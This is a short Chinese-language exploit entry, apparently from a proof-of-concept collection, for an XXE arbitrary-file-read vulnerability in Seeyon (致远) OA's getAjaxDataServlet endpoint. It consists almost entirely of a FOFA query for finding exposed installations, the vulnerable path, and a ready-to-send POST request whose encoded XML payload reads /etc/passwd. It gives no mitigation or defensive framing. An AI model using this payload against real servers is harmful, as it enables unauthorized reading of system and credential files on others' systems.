## 致远oa-getAjaxDataServlet-xxe任意文件读取漏洞

1. fofa

app="致远互联-OA"



1. 隐患URL

/seeyon/m-signature/RunSignature/run/getAjaxDataServlet



1. POST请求

POST /seeyon/m-signature/RunSignature/run/getAjaxDataServlet HTTP/1.1

S=ajaxColManager&M=colDelLock&imgvalue=lr7V9+0XCEhZ5KUijesavRASMmpz%2FJcFgNqW4G2x63IPfOy%3DYudDQ1bnHT8BLtwokmb%2Fk&signwidth=4.0&signheight=4.0&xmlValue=%3C%3Fxml+version%3D%221.0%22%3F%3E%0D%0A%3C%21DOCTYPE+foo+%5B%0D%0A++%3C%21ELEMENT+foo+ANY+%3E%0D%0A++%3C%21ENTITY+xxe+SYSTEM+%22file%3A%2F%2F%2Fetc%2Fpasswd%22+%3E%0D%0A%5D%3E%0D%0A%3CSignature%3E%3CField%3E%3Ca+Index%3D%22ProtectItem%22%3Etrue%3C%2Fa%3E%3Cb+Index%3D%22Caption%22%3Ecaption%3C%2Fb%3E%3Cc+Index%3D%22ID%22%3Eid%3C%2Fc%3E%3Cd+Index%3D%22VALUE%22%3E%26xxe%3B%3C%2Fd%3E%3C%2FField%3E%3C%2FSignature%3E

